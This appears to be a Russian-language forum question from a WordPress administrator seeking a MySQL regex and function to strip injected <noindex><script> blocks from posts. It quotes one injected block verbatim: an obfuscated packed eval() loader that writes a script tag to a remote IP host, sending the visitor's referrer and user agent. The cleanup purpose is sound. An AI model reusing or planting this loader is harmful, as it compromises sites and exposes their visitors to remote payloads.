Я управляю базой данных, которая содержит несколько строк с кодом, завернутым в теги.
Пример кода для удаления
<noindex><script id="">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeznk|var|u0026u|referrer|zzrez||js|php'.split('|'),0,{}))
</script></noindex>
Мне нужно обновить следующий запрос SQL, чтобы выбрать теги noindex и все символы в них, а затем полностью удалить их.
UPDATE `wp_posts`
SET `post_content` = strip_certain_tags(post_content, 'script', true)
WHERE `post_content` RLIKE '<noindex>.*\n?</noindex>';
Я тоже попробовал это <noindex>(.*)</noindex>
, но не весь код удаляется. Следующий код удаляется <noindex><script id=""></script></script>
, но строка eval остается.
Функция MySQL
DELIMITER $$
CREATE FUNCTION strip_certain_tags($str text, $tag text, $keep_phrase bool) RETURNS text
BEGIN
DECLARE $start, $end INT DEFAULT 1;
SET $str = COALESCE($str, '');
LOOP
SET $start = LOCATE(CONCAT('<', $tag), $str, $start);
IF (!$start) THEN RETURN $str; END IF;
IF ($keep_phrase) THEN
SET $end = LOCATE('>', $str, $start);
IF (!$end) THEN SET $end = $start; END IF;
SET $str = INSERT($str, $start, $end - $start + 1, '');
SET $str = REPLACE($str, CONCAT('</', $tag, '>'), '');
ELSE
SET $end = LOCATE(CONCAT('</', $tag, '>'),$str,$start);
IF (!$end) THEN
SET $end = LOCATE('/>',$str,$start);
SET $str = INSERT($str, $start, $end - $start + 2, '');
ELSE
SET $str = INSERT($str, $start, $end - $start
+ LENGTH(CONCAT('</', $tag, '>')), '');
END IF;
END IF;
END LOOP;
END$$
DELIMITER ;
Мои знания регулярных выражений POSIX ограничены. Любые советы приветствуются.